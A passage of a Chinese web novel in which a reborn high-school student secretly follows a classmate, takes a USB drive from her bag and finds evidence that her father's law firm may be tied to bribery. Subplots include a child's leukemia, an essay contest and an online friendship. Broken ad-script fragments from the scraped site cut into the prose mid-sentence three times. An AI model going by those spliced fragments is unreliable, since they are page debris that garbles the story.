就在周泽楷还在给自己洗脑时,谭佳宜他们已经坐着摩托车飞驰而去。 唉,等等啊! 周泽楷里面跑到楼下,抄起自己的自行车,飞速瞪着踏板。 自行车跟摩托车还是挺不容易的。周泽楷感觉腿都快瞪费了,才将将跟上他们。中途有一段路,他还是凭感觉抄得近道。还好幸运女神有眷顾他,最后成功殊途同归,没跟丢他们。 摩托车最后停在了一家商场旁边,周泽楷看见两人下来,进了一家咖啡厅。 他从外面的玻璃窗向里张望,观察到他们径直走向靠窗边的一个位置。那个座位已经有个人了,看上去像是在特地等他们。 男人虽然穿着西装,看上去却有点儿沧桑。头上已经生出了不少白发,失去了年轻人的光泽,俨然一副中年人的模样。周泽楷估摸不出他的确切年龄,但他觉得,这个人应该也不过四十岁,只是显老罢了。 不过很奇怪,他总觉得这个男人有些熟悉,却怎么也想不起来是谁。 周泽楷正想看看他们到底要干嘛,谁料坐在那儿等他们的男人突然把帘子一拉。这下好了,从外面什么也看不见了。 还真是老谋深算,看来事情不简单。 周泽楷只好也进了咖啡厅,专门找了个离他们很远的角落坐下。还好谭佳宜和七哥是背对着他,应该不会被发现。 他点了杯咖啡,从旁边的书架上随意抽了本书,装模作样地看起来。其实主要还是为了打掩护。 不一会儿,那个男人从公文包里掏出个U盘,递给谭佳宜。双方只是简单地交流了几句,便起身准备离开。 周泽楷原本还想听听他们说了什么,但碍于离得太远,什么也没听清。 他们这次会面太过短暂,可以挖掘的有用信息也不多。唯一的关键信息,就只有那个U盘。周泽楷猜测那个U盘肯定不简单,里面一定有很重要的信息。 就在他们走过去时候,有一道目光朝周泽楷的方向投过来。好在周泽楷反应快,立刻把脸别了过去。 应该没有被发现吧。 走到门口的时候,七哥突然顿住脚步,又回头看了一眼。 “怎么了?”谭佳宜很敏锐地察觉到七哥的异样。 “没什么,应该是看错了。”七哥只是摇了摇头。 谭佳宜往咖啡厅随意瞟了一眼,没发现什么异样,也就没太在意,和他们一前一后出了咖啡厅。 周泽楷出去时,七哥的摩托车已经不见了。他看了一下手表,距离下午上课已经没多少时间了,谭佳宜估计换身衣服也该回学校了。 虽然是正午,但最近气温骤然下降。这会儿天空乌云密布,颇有“山雨欲来风满楼”之势。 他想着刚才三人见面的情景,想着那个神秘的男人,还有那个装着不为人知的秘密的U盘。重重疑点让他摸不清方向。 还有,谭佳宜和七哥到底是什么关系,到底还有什么是自己不知道的。 她和七哥是怎么认识的?他们现在在密谋些什么?上一世,七哥出事,又和谭佳宜有没有关系? 前世的记忆、现世的线索,在周泽楷脑子里分崩瓦解,变成无数个碎片。接着,这些碎片打乱,重排,再打乱,再重排……不断重复着一系列记忆修复过程,让周泽楷感到头痛欲裂。 他一边机械地骑车,一边尽力拼凑这些记忆碎片,连自己都不知道,自己是怎么回到学校的。 等到清醒的时候,周泽楷已经坐在了教室里。米老头不知什么时候走到他身边,在他头上敲了一下。 这一声也是清脆,让周泽楷彻底回过神来。 “周泽楷,物理课都上课快十分钟了吧,现在书还没拿出来。我刚才盯你半天了,一点儿反应都没有,是我讲的你都会了?” 周泽楷抬头,对上米老头那凶神恶煞的眼眸。他倒是不露一点儿怯意,毕竟这也不是第一次和米老头对峙。 他看了看黑板上讲的内容,从容地起立,很平静地答道:“这章我确实已经会了,您不记得了,上次物竞的题目用过这个公式。” 米老头一下子气得说不出话来,又觉得自己如果被学生压一头很没面子,只好扯开话题:“会了就可以不听吗?你能保证你每次都不会犯错吗?别以为这次考了个第一就不得了了,我告诉你,考第一容易,保第一难。你看看你同桌,虽然这次有所下降,但人家依然保持着良好的学习态度,多向人家学学。” 米老头像是开启了机关□□式,可谓一顿输出猛如虎。 周泽楷瞟了一眼旁边的谭佳宜,她桌子上物理书摊着,但内容压根不是今天讲得这章。但凡眼不瞎的,都知道她根本没听啊。 谭佳宜旁边摞着一本物理竞赛书,下面还压着一本练习册,只露出一个角。 果然是她的惯常操作——“挂羊头卖狗肉”:老师在上面讲他的,自己在下面做别的,老师来了也能装作一副认真听讲的模样。 心态就是:反正已经会了,干嘛浪费时间。 在米老头提到自己的时候,谭佳宜表面虽然表现的认真乖巧,但实际心里有点儿不爽。米老头确实是在夸她,但无形中戳中了她的痛处。可以说是哪壶不开提哪壶。 对于这次的成绩,谭佳宜当然是很不满意的。她之前哪里考过第三,就算不是第一,也是第二。 最气人的还是第一竟然是周泽楷。 看来他果然不能小觑,又多了个强劲的竞争对手。 “还杵这儿干嘛,站后面去!”米老头大喝一声,企图维持自己的威严。 他说得倒也没错,自己确实是上课走神了,哪个老师能公然原谅上课连书都没拿出来的学生呢? 周泽楷自知理亏。尽管米老头话说得重了些,但他也没有再辩驳下去 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,自觉得往后移了移。 做最后一排的好处就是,你就算在后面罚站,也不用搬家式地把所有书、文具都拿着,反正桌子就在前面不远,缺什么胳膊一伸就够着了。 就在米老头训斥周泽楷被的时候,班上所有人大气都不敢喘一下。全班同学都侧目看着他,没有一个不惊讶的。 这个平时稳重用功的班长,是班里的学习标兵,其他老师的心头宝,怎么会惹得米老头发这么大的火? 物理课终于下课了,但这件事儿却没完。米老头还给他附加一个罚站大礼包,这其中当然少不了请去办公室“喝茶”。 恰好谭佳宜也要去办公室,周泽楷就跟她一起了。 “米老头难不成还叫了你?” “不是,我去语文办公室。” “哦,我忘了,你是语文课代表。”周泽楷恍然大悟。 谭佳宜本来想说不是课代表的事情,但想了想又止住了。 跟他说那么多干嘛! “你还是操心一下自己,一会儿怎么应付米老头吧。”谭佳宜说道。 周泽楷点了点头,她这倒是提醒他了,他就是因为想着中午的事情才走神的,正想问问她到底是怎么回事。 “我中午看见你和七哥去见了一个人,你最近中午出校,都是在忙这件事吗?”周泽楷知道她不会轻易告诉他,索性开门见山,把中午看见的和盘托出。 谭佳宜停住脚步,眉头微蹙,定定地看着他,眼神也锐利了不少。 “你跟踪我。” “我要是不跟着看看的话,你是不是永远都不打算告诉我?”周泽楷反问道。 “是,但我现在也不会告诉你。我早跟你说过了,不要多管闲事。” 谭佳宜神色凝重,像是在警告他,前方就是个深渊,再进一步就会万劫不复。 “我也早跟你说过,你的事情我不可能置身事外。你就算现在不告诉我,我自己也会去弄清楚。不论结果如何,我都会站在你这一边。即使这样,你还是不愿意相信我吗?” 谭佳宜知道自己其实早就开始动摇了,但她想到她不是一个人。她的背后,离不开七哥、李叔、王叔的支持。他们才是一个阵营的,是一条线上的蚂蚱。她如果信任周泽楷,不就等于背叛了这些帮助她的人吗? 而且他是害死妈妈的人啊,自己怎么能被他的三言两语就打动了。 不能,绝对不能。 她装作不在乎的样子,说道:“随你,你爱查就查吧,但我奉劝你不要再做这种无用功了。还有,我是不会相信一个害死妈妈的人,永远不会。” 周泽楷没再说话了,他沉默地低下头。对于阿姨的死,他内心始终觉得有所亏欠。虽然他知道真相,但每次提到这件事,心里还是会自责。 他俩在语文办公室前分别。一个头也不回地进了办公室,一个注视着她离开的背影,默默叹了口,又无奈地继续往前走,走进那个他也不情愿去的物理办公室。 一进门,就看见米老头站在窗边,一边端着他那保温杯悠闲地喝茶,一边给窗台的植物浇水。 难得看到小老头这么有生活气息的一面。 他喊了声报告,米老头才回过神来,好像是突然想起还有这么一回事儿一样。他缓慢地放下茶杯,坐回了自己的办公位。 “来了啊,我还以为你忘了呢,怎么路上磨磨蹭蹭的。”米老头推了推眼镜。 “不好意思啊老师,我刚看您浇水这么专注,就没打扰您。”周泽楷随机应变,找了个他爱听的幌子。 “行吧,那你说说,今天到底是怎么回事。你在别的课上也是这个态度吗?这我肯定不相信,其他老师对你的评价还是挺高的。所以怎么就物理课走神,是瞧不上这门课,还是觉得我讲得不好啊?” 果然,米老头一开口,必是长篇大论,简直是要把你的作案动机全部翻出来,再妄加揣测一番。 “老师,事情是这样的。今天中午我妹妹不舒服,我家长都出差去了,只有我来照顾她。中午我送她去看医生,医院学校两头跑,可以说忙得连吃饭的时间都没有。好不容易赶回来上课了,但因为没休息好,实在太困了,所以就没撑住。但是我绝对没有对您这门课有意见,也没有对您有任何不满,您放心,这种情况下次一定不会再出现了,我保证。” 周泽楷说得那叫一个真诚,简直是把胡扯的理由讲得合情合理、感天动地。 长篇大论对侃侃而谈。所以,米老头也就这么轻易地相信了。还难得十分体谅地拍了拍他的肩膀,接着说道:“你也是不容易,上课的时候说清楚不就好了,老师也就不忍心让你去罚站了。” “这不也是不想占用大家的时间嘛。”周泽楷笑着说。 “好吧,那这件事儿就算了。但我还有个好东西给你。”米老头边说边从旁边的试卷中抽出一沓。 周泽楷顿感不妙。 这大概就是大礼包的另一项了。 米老头把卷子递给他,得意地说:“这是我自己专门编的一套竞赛真题,但对你们现阶段来说,还是有点难度的。你先做做看,然后拿给我改一下,我再来评估这套题适不适合你们做。” 果然,老师口中的好东西准不是什么好东西。合着米老头是拿自己当小白鼠,来帮他试水的。 他接过卷子,一脸商业假笑,“老师放心,保证完成任务。” 18. 特工行动&网友面基 隔天中午,谭佳宜没急着收东西出校门,而是先去了语文办公室。周泽楷看见她书包拉链没拉,里面的书险些掉出来,就打算帮她把拉链拉上。 刚准备拉拉链时,周泽楷注意到书包里有一个夹层。上一世他记得谭佳宜说过,重要的东西放在外面不安全,要放在里面的夹层。 不知道为什么,周泽楷突然想起昨天那个U盘来。这个对她来说,应该算重要的东西吧,说不定就放在这里呢? 私自拿别人的东西固然不好,但是他想要知道真相,可能还真得使用一些特殊手段。 而且他依稀记得,某人上次换演讲稿好像也是用得这一套吧。 经过一番内心挣扎,周泽楷还是决定碰碰运气。 他隔着外布先摩挲了一番,其他地方都是平的,像是什么东西也没有。但在一个角落,他突然摸到一个小小的长方形凸起,很像是U盘的形状。周泽楷迅速地拉开夹层的拉链,怀着一丝忐忑和期待,把手伸了进去。 果不其然,U盘就在里面。在拿出来的时候,书包里最外边的几张纸被不小心带出来,散落在地上。 周泽楷将它们拾起来,本无心要看,但几个触目惊心的字眼蹦入了眼帘。 ——“白血病”! 他飞快地粗略看了一遍那几张纸,上面全是关于白血病的内容。从症状到发病机理,再到治疗办法,都有详细的介绍。 “白血病”这几个字分外刺眼,刚刚看的这几张纸也异常烫手。周泽楷现在只觉得脑袋嗡嗡的,许多可怖的想法在脑中炸开。 她怎么会收集这种资料?又是谁得了这种病? 该不会是她吧? 他联想到上一世谭佳宜入狱的决绝,把她和这个病联系起来,不就更加说得通了。 于是他展开了一番大胆的推测:她已经到了白血病晚期,知道自己没多少时间了,所以选择放手一搏,宁愿堵上自己的前程,也要让坏人受到应有的惩罚。 合理,十分合理! 这种大胆又恐怖的想法在周泽楷脑中蔓延开,他努力让自己保持理智,说服自己不要胡思乱想。 没准儿有别的原因呢? 于是他又开始回忆上一世的细节,试图找到打消这个念头的理由。 如果上一世她现在就患病了,不可能三年里一点儿症状都没有,多少还是能察觉出来的。 虽说谭佳宜上一世的精神状况可能不太稳定,但身体状况还是没出什么大问题的。 只是还有一点让人不放心的,就是这一世的轨迹已经偏离了上一世。就拿他入学一事来说,和上一世就完全不同。 所以谭佳宜是否得了这个病,他心里也没底,还是要当面问清楚。 周泽楷把那几张纸放回原位,才终于想起手头的U盘。 干正事要紧,先把U盘里的内容看了再说。 机房太远了,办公室的电脑这会儿大多锁着,所以周泽楷只好就地取材,用班上的多媒体白板试试。唯一的缺点是屏幕太大,过于显眼了。不过好在这会儿班上没人,眼疾手快的话应该不会暴露。 周泽楷将U盘插入白板,点开一看,里面果然有个文件。标题是“长泽10.31”。 光看标题确实让人摸不着头脑。“长泽”他不太了解,“10.31”看上去倒像是个时间。 点开大文件夹,里面还有还有几个小文件夹。包括几个Word文档和几个Excel表,还有好多张照片。 他点开这些资料,手一刻没停,快速地划拉着。一边往下翻,一边飞快地扫视着上面的信息。他知道,自己没时间细细地看,而且里面涉及一些专业的词汇和数据,他也看不太懂。所以眼下要做的就是先浏览一遍,大概知道是个什么事情。 看过文档后,周泽楷大致对这件事有了概念。 “长泽”是一个集团,是汉城房地产开发商之一。资料里有对这个集团的详细介绍,它业务广泛,实力雄厚,应该算是行业里的翘楚。 除了对长泽集团的整体介绍,还包括了长泽集团近年来的各类法务纠纷,以及一份法务方案和合同,下面的乙方是——“佳行律所”,时间是2015年10月31日。 周泽楷有些吃惊,这不是谭佳宜父亲的律所吗? 但更劲爆的还在后面,他将照片放大,里面是两个男人,其中一个他再熟悉不过了。 就是谭佳宜的父亲——谭墨行! 照片的视角很奇怪,应该是偷拍的。照片中的俩人在不同地点有多次会面,有酒店包厢中的,有街角拍到的,还有一个类似于洗浴城的地方,可惜光线太昏暗了,也看不太清。但是隐约可以看到,谭佳宜的父亲好像递给了另一个人一个什么东西,像是一张银行卡! 周泽楷自己父亲也是做生意的,这种行业中的弯弯绕绕他也略知一二。他看得出来,谭墨行很有可能与这个人私下有勾结,还有行贿的嫌疑。 照片拍了不少,周泽楷抬眼看了一下时间,估摸了一下应该是看不完了。为了在谭佳宜回来前把U盘放回去,他立刻把U盘拔出来,随后关闭了白板。 将一切复原后,周泽楷装作无事发生,他就这么神不知、鬼不觉地窥探了她的秘密。 信息量太大,一下子在周泽楷脑子里炸开。经过一番梳理,他觉得自己应该能猜个七七八八。上次咖啡厅见面的那个人,估计就是负责收集这些信息,再转交给他们,那他们又会把这些信息给谁呢? 这点现在还存疑,但周泽楷怀疑和七哥有关。 这些都是她父亲律所的机密,她费劲心思地拿到这些资料,肯定是不想让他父亲好过。 所以,这些资料去哪里会对谭墨行不利呢? 根据刚才的资料,佳行应该是在争取负责长泽的法务,那么这些资料如果流失出去,肯定会阻碍他和长泽签约。况且里面还有些见不得人的事情,一旦曝光,对律所的口碑也会造成重创。 那么这个时候受益最大的,应当是与佳行构成竞争关系的其它律所。毕竟像长泽这种龙头集团,垂涎它的人应该不少。 就在周泽楷执行紧张的特务行动,外加一番福尔摩斯推理的同时,谭佳宜正在语文办公室和 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 君姐聊“希望杯”作文比赛的事儿。 君姐全名李慧君,是他们的语文老师,年轻漂亮,还是个高材生。 谭佳宜为什么会突发奇想去参加作文比赛呢?本来语文也不是她的强项,但这个比赛她却还是决定参加。 上次放假回家时,听程婉乔提过一嘴,当时她是叫谭佳航报名这个比赛。之后她到网上查了一下这个比赛,比赛分为少年组和青年组,少年组是14岁以下,青年组要求14岁以上,所以谭佳航可以参加少年组的比赛。她仔细了解得知,这个比赛规模大,含金量也很高,最后的优秀作品甚至可以获得国奖。 谭佳宜琢磨着,如果最后谭佳航获奖了,那程婉乔肯定要大肆宣传一番,但自己要是也获奖了,或许能压压她的风头。 试一试吧,不就是写个作文,机理和解物理题应该也差不多。无非是选题后破题,之后就是润色语言,多看看范文应该可以找出规律。 谭佳宜和君姐一说自己想要报名,君姐还挺高兴的,说她是第一个报名的,还说自己正愁没人报,以为班上同学都不感兴趣呢。 她们说着说着,又有个人进来,也是来找君姐的。谭佳宜回头一看,倒是个熟人。 君姐问白依依:“你也是来报名作文比赛的?” 白依依点点头。看得出君姐更高兴了,这会儿终于不愁没人报名了。 “李老师,要是没什么事儿我就先走了。” 谭佳宜和君姐也聊得差不多了,看白依依来了,自己也就没有继续待这儿的必要。 刚准备走的时候,君姐突然叫住她,提议她们可以建个群,以后作文比赛有任何问题,也方便随时交流。 君姐递给她们一个小本子,让她们把□□和□□名都写下来,这样也不容易搞错。 白依依接过本子先写,之后把本子递给了谭佳宜。谭佳宜接过本子,看到本子上的网名后一下子愣住了。 她抬头看了一眼白依依。 白依依和她对视了一秒,注意到她刚才好像是在盯着自己写的看,于是试探性地问了句:“有什么问题吗?要不我回去再给你写一份,咱俩也加个好友?” 谭佳宜回过神来,在纸上飞快写完后,回答道:“不用了,建群之后你在群里加我就行。” 白依依感觉刚才自己有点自作多情,尴尬地说道:“哦,我把这个忘了,还是你想得周到。” 她俩写完后,君姐拿起本子念道:“白日梦想家,”她一下子笑了出来,“白依依你这名字起的还挺有创意的,期待你之后的作文创作哦。” “李老师放心,我会努力的。” “小谭的是‘天方夜谭’,也挺有意思的,你们俩网名还挺像,都把自己的姓氏给融进去了,有默契。”君姐边说边朝她俩会心一笑。 谭佳宜走出办公室后,心里还在琢磨白依依的网名。网络上的聊天对象和现实中的人重合在一起,让她觉得有点梦幻,也有点恍惚。 “白日梦想家”就是白依依? 真的是她吗? 这到底是巧合还是缘分? 19. 厄运&黄毛 谭佳宜回到教室时,周泽楷已经清理完“作案现场”了,像是什么都没发生一样。她也有些奇怪,这个点儿周泽楷一般都会去吃饭,怎么还坐在教室里,他吃得这么快吗? 谭佳宜是从后门进来的,脚步很轻,刚好这会儿周泽楷正专注于想问题,也没注意到她已经进了教室。 她把桌子里的书包抽出来,顺势单肩跨上,准备出去。本来还想打声招呼的,但想到昨天已经把话说到那个份儿了,还是少和他说几句好。 周泽楷终于察觉到谭佳宜的动静,回过头时,她却已经背着包迈出了教室。 他立刻跟了上去,有太多问题想问问她,但最关键的,还是要先问问那几张纸的事儿。 少女的脚步没停,察觉到身后有人跟来,也猜到是他,接着便加快了步伐,似乎是不想见他。 到了楼梯转角,周泽楷才终于追上了她。他知道她现在也不想搭理他,所以只好再冒犯一次,使出了他惯用的那招。 他握住她的手腕,她也只好停住了脚步。 “你是不是有什么事儿瞒着我?”周泽楷急切地问。 “我瞒着你的事儿多了,你又不是今天才知道。还有,你是我什么人啊,我凭什么所以事都要告诉你。反正你想知道的,我都无可奉告。”谭佳宜冷冷道。 “但是白血病这么大的事,你也要瞒着所有人吗?我全都看到了,怎么说也不能拿自己的生命开玩笑吧。”他用近乎恳求的语气说道。 谭佳宜回头盯着他,有些惊讶,也有些生气地说:“你翻我书包了?” 周泽楷瞬间有些心虚,但还是面色不改地解释道:“是你拉链没拉,它自己掉出来的,我帮你捡起来罢了。” 谭佳宜这才松了口气,“谁说只有得病了才能看白血病的资料,那医学生天天看各种病的资料,是不是还要把所有病都得一遍?” 周泽楷愣了一会儿,才反应过来她是说她没得病,瞬间松了口气。 “那你没事看这些干嘛?是有人得了这个病吗?”他试探性地问了句。 “嗯。”谭佳宜微微点了点头,神情有些黯淡,“你记得李叔吗?就是小时候在我外公家,他还陪我们玩儿过。” 周泽楷仔细回想了一番,好像还真有这么个人。虽然没见过几面,但他人很有耐心,还很幽默,当时讲了个笑话,逗得周泽楷笑得停不下来,现在他还记得呢。 李叔的形象在脑海里逐渐清晰起来,逐渐和记忆中的另一个人重合在一起。他终于想起来了,那天在咖啡厅等他们的人,就是李叔! “记得,是他……生病了?” 谭佳宜摇摇头,望向远方,继续说道:“是他女儿,叫乐乐。刚确诊的,前几天才刚满五岁。”她说话的时候,眼底含着一丝悲伤。 所以说这就是不幸催人老吗?在他的印象里,李叔还很年轻,有着一头乌黑茂密的头发。怎么才这些年,就青丝变白发了,都到了他也认不出的地步了。 “白血病也不是绝症,早点发现,早点治疗,肯定有办法的。” “是有办法,但哪有那么简单。早期可以做造血干细胞移植,可是发现的时候已经开始蔓延了。还可以骨髓移植,但不容易匹配得上。没有合适的骨髓,就只有等。一边忍受化疗的痛苦,一边祈祷还有生的希望。”谭佳宜尽力让自己保持冷静,但说到最后声音还是有些发颤。 周泽楷为小女孩不幸的命运惋惜。难道就要眼睁睁看着一个年轻的生命逝去吗?难道就只能向病魔缴械投降吗? 他真想为这个可怜的小女孩做点儿什么。 “你想问的我已经告诉你了,其他的我也没什么好说的了。” 谭佳宜敛去刚才片刻的悲伤,又恢复了那副生人勿进的模样。 周泽楷其实还想试着打探一下U盘里的信息,所以也没急着松手。可是谭佳宜实在不想再和他谈论下去,她也害怕他又要追问之前咖啡厅的事情,于是先一步开口道:“所以你应该清楚,无论是乐乐的病,还是其他的事情,你都没法儿左右。可能每个人各自的使命和归宿,从出生起就已经被安排好了。你无法选择你出生的家庭,也难以预测自己离开的方式。周泽楷,放弃吧,别再纠缠我了。” 谭佳宜说这话的时候没有往日的狠厉,只是平静地讲述出来,像是最后的陈词,陈述着自己的观念。 周泽楷知道现在问她那件事肯定没有结果,手上的劲儿终于松了。 目送着她离开的背影,他站在原地久久凝视,也没移动半步。 心中涌起一种复杂的情绪,这是上一世所不曾有过的,掺杂着半分苦涩,半分迷惘,但更多的是一种勇气和力量。 谭佳宜说得不无道理。他也曾埋怨过自己的生长环境,以为是自己的不幸,只能自认倒霉。但她的出现让他重新看见的生活的明媚,让他开始相信,这世上还是有很多好看的风景。一些糟心的人或事,不理会就好,人生的主动权是在自己手上的。 周泽楷不会放弃的,他绝不会。只是从谭佳宜这里切入有点困难,可能得换个思路,从她身边的人开始攻略…… 选谁比较合适呢?一个名字浮现在周泽楷脑中。思来想去,他确实是其中绕不开的一个环节,而且很多疑点也与他有关。是攻略对象的不二人选。 所以,明天找时间去一趟吧。 周泽楷终于下了楼,朝食堂的方向走去。 晚上谭佳宜回到家后,手机里果然弹出了新的群聊消息,君姐把她和白依依拉了个群,群名估计君姐也懒得想了,就只有言简意赅的三个字“希望杯”。 谭佳宜在群聊中找到白依依,昵称还没来得及改,还是“白日梦相家”,头像就是简单的蓝天白云。缩小了注意不到,放大后才发现,白云旁边还有个小人儿,正悠闲地躺在白云上。 好一个“白日梦想家”! 这个头像谭佳宜再熟悉不过了,她退回自己的豆瓣账号,点开好友列表中最上面的那个,接着她又点开了这个“百日梦想家”的头像,也是蓝天白云的底色,也有个类似小人儿。只不过刚才那个是个女孩儿,这个是个男孩儿,盘腿坐着,叼着根稻草。 名字确实一样,头像也类似,如果真是一个人的话,那还自己和自己用上情头了。 谭佳宜不禁勾了勾唇角,这姑娘倒是有趣。 应该没那么多巧合吧,她竟然开始在心里期望,白依依就是她的网友。 聊天界面显示,最近一次聊天是在暑假的最后一天。她上次还和她分享了自己爱听的音乐,隐约也提到了要开学的事儿。当时她们没有互问年龄,毕竟网友也不用知根知底,保留点神秘感也是必要的。 谭佳宜也猜测过,她应该也是马上升高一,因为她之前问过自己一道题,那道题就是高一上学期学的。 已经有一个多月没有新的消息了。谭佳宜回想起来,自己好像开学后确实还没上过豆瓣。 她们这对网友,其实没认识多久。从加好友到今天,也不过三个多月。要说她们是怎么认识的呢,还得从一篇帖子说起。 暑假谭佳宜偶然在豆瓣刷到一个帖子,楼主分享了他身边一个朋友的故事。事情是这样的,他这个朋友的父亲出轨后,和她母亲离了婚,母亲想出国,怕自己照顾不好女儿,就把她给了她父亲。之后她父亲再婚,而结婚对象就是他的出轨对象。不过她的继母,也就是那个小三,对她很是体贴,甚至比亲生父亲对她还要好。 下面很多人都评论“终于不是恶毒后妈的戏码了”,“虽然插足别人婚姻不对,但她亲妈也确实不负责任,看来后妈有时候比亲妈还强”。反正总体看上去,评论区都是称赞这个继母的声音。 可以说,这个继母以贤良的人设,成功洗白了之前知三当三的恶迹。 谭佳宜刷着评论,觉得真是索然无味。果然,人们看到事情的外壳就开始下定论,这种伪装的善最容易迷惑人了。 她刚准备退出来时候,一条最新评论弹出来。是个叫“白日梦想家”的用户发表的,评论写着:怎么知道她就不是装的呢?既然插足别人的家庭,那一定是有目的的。亲人都不一定有真心,何况一个毫无血缘关系的陌生人呢?我们不能只看表面,现实中还真有这种笑里藏刀的人。 评论下面有赞同的,认为她说的有一定道理。当然也不乏质疑的声音,有人甚至说她心思重,是不是有被害妄想症。 谭佳宜倒是觉得眼前一亮,终于有个长点脑子的人了。她点赞了她的评论,并追评道:那你觉得那个孩子该怎么做? 白日梦想家:可能会先观察吧,反正不能被她的小恩小惠收买了。要透过现象看本质,揣摩她这样做的意图。但也不能上来就和她作对,可以等时机成熟,抓住她的把柄后,再解开她的真面目也不迟到。 谭佳宜看到后,觉得这个人的想法倒是和自己蛮契合的。 在人云亦云的评论区,她能勇敢地发表自己不同的看法,竟然让谭佳宜滋生出一种久违的感受:原来自己的“心机”,也有人能理解。 她主动加了这个“白日梦想家”,又和她在暑假断断续续聊过几次。她们只是闲聊,反正不认识,可以随便分享自己的心思。谭佳宜和她分享自己类似的经历,她和谭佳宜倾诉自己家里那本难念的经。渐渐的,两人很快就成了朋友——网络上的知己。 谭佳宜感叹这段奇妙的缘分,原来自己和她就是同学,还在一个班,现在还都报名了作文比赛。她想着她应该认不出自己,毕竟不是所有人全网都用一个名字。她又想起来自己运动会上误会她和周泽楷的事儿,不禁觉得有点儿可笑。 其实就算是她喜欢周泽楷也挺正常的。 但她还是不希望她喜欢,因为她了解周泽楷,她怕她会受伤。 今天是周六,晚上不上晚自习,六点钟就放学了。周泽楷打算今天晚上去一趟网吧,看看七哥在不在。当然,能避开谭佳宜最好。 放学后,周泽楷还是一如既往和谭佳宜一起回家。最近几天她中午倒是开始在食堂吃饭了,晚上也是直接回家,不知是她最近有别的事情,还是之前的那件事已经处理完了。 虽然距离资料里写的31号还有一段时间,但周泽楷还是有些惴惴不安。这件事情一天不弄清楚,他就一天睡不好觉。 进入十月下旬,天气转凉,昼短夜长。才刚过六点,太阳就已经下山了,不那么明亮的盈月初显形态,伴着一两片云彩,全都融入灰蓝色的夜幕中。 周泽楷和谭佳宜并肩走着,步调倒很是一致,不快不慢,不急不缓。 自从前两次把有些话挑明后,两人倒是都心照不宣地没再提过。他不再追问,她也就装作无事发生。他们能很正常地交流学习上的事,关系没变得更僵,反倒是和谐了不少。 但往往表面越是风平浪静,下面就越是暗流涌动。两人各怀鬼胎,心里打着各自的算盘。 一个竭力伪装,想把这件事自然地盖过去;一个暗自蛰伏,要把真相给挖出来。 天平的两端,磁铁的两极,想法相对,立场自然不同。不过起码现在,他们都无法改变对方的立场。 走进小区后,周泽楷看似闲聊地问她:“今天晚上难得早放学,你回去打算干嘛?”,他退后一步,故意说道:“我知道了,你不会回去还要加班儿刷题吧。你不知道这样子让其他同学压力真的很大啊。所以,还是要适当给自己放放假,别把身体累坏了。”边说边上前拍了拍她的肩膀,一副关切的模样。 “我没记错,这次考第一的人是你吧。第一都有压力了,那我们其他同学又怎敢懈怠呢?”她倒是二话不说,把刚才周泽楷的怼了回去,“但今天我确实得加班,不过不是刷题,是赶稿。” 这下子谭佳宜中了周泽楷的计,很认真地回答了这个问题。 “你参加那个作文比赛了?” “嗯。” 周泽楷听到这个回答时,还是有些出乎意料。他没想到谭佳宜会参加这个比赛,按理说,她是不会花时间在自己不擅长的领域的。 所以,她这是突发奇想,想发掘一下自己的潜能,还是另有隐情呢? 谭佳宜察觉到周泽楷有些诧异的表情,“你是觉得我不行?” “绝对没有。反正我相信你,只要你决定做的,做什么都能做好。我支持你,期待你闷声干大事。”周泽楷又朝她比了个加油的手势。 听了这番话,谭佳宜神情总算松了下来。 他这样肯定自己,其实她心里挺高兴的,但还是克制着这种情绪。她压住嘴角,难得主动和他道别,快速地,轻声地留下一句“明天见”,之后一转身,头也不回地进了楼道。 她这是主动和自己说再见了? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不对不对,她说的是“明天见”,明天见意思是还会再见,也还想再见,是一种期待,是一种盼望。相比她之前的不待见,这可是迈出了巨大的一步。 周泽楷想着自己也算是“无心插柳柳成荫”,这般好事今天也是让他碰见了。 他在原地愣了片刻神,沉浸在刚才“明天见”的甜蜜中,直到一只猫从他面前窜过,才终于回过神来。 收起心里的雀跃,回到现实,周泽楷转身走到楼下,给自行车开了锁,骑车朝酒吧的方向远去。 巷子的光线依旧昏暗,远远望去,“七哥网吧”的招牌尤为扎眼。 周泽楷将车子停在门口,锁好后,拉开了网吧的门帘。门是敞着的,只是还有一道透明帘子,和超市里的那种类似。厚重的门帘推开并不轻松,还要使点些劲儿才能推开。 这是他人生第一次走进网吧,之前都是在门口,倒还真没进来看过是一番什么样的光景。一进门就是一个前台,后面摆着一柜子的饮料零食,当然,还少不了熬夜搭子——泡面。泡面种类不少,考虑到没人会带着饭盒来上网,多是桶装的,各种色彩的泡面桶就占据了柜子的半壁江山。前面还有个小玻璃柜子,五颜六色的小盒子整齐地排列着,各种牌子香烟应有尽有,不过周泽楷大都没听过。 前台坐着个瘦小的男生,染着一头黄毛,就是上次跟在七哥后面的。这个人他倒是印象深刻,不仅是因为他鲜艳的发色,还是因为上次碰面,这个黄毛在经过他的时候,专门撞了他一下,眼神十分不友善。 这次也一样,再看到他进来时,黄毛先是有点儿惊讶,转而没好气地说:“你来干嘛啊?跟你说,上次是咱七哥大度,没找你算账。我劝你还是别打那女生的主意,她是我们七哥的人,你再骚扰她别怪我没提醒。” 这话确实让周泽楷感到很不爽。什么叫是七哥的人,谭佳宜和七哥现在到底是什么关系? 不爽归不爽,猜测归猜测,之前看见了他都忍了,这次只是别人说的几句话,有什么不能忍的。没有证据的时候,他还是选择相信谭佳宜。 周泽楷平复了下情绪,告诉自己不要被旁人的三言两语带偏了,先办正事要紧。 他耐心解释道:“你好,咱们也算是见过的。我想你是误会了,上次见面我不是在骚扰那个女生,我和她之前就认识,当时是有事要问她。” 黄毛见他也不像是在撒谎,对他的敌意消退了几分,接着说道:“那你也不该拉拉扯扯的,对人姑娘说话别动手动脚。还有,她是我们七哥罩着的,你可别打她的主意。” 这黄毛看着挺不靠谱的,没想到还挺有绅士风度,不仅如此,还挺帮着自己人说话的。 你是没见着,你们七哥私下对谭佳宜动手动脚的时候,周泽楷心里默默想着。 “对了,怎么就你一个,七哥呢?我今天来是找他有事要说。” “七哥出去了,也不知道什么时候回来,你只有先在这儿等着了。不过我们这儿可没有茶水招待你,要是上网的话,倒是可以帮你办张卡。充会员八折,怎么样?”黄毛一边说,一边把泡面里的调料包撕开,接着拿一壶开水,哗啦一下倒进去。 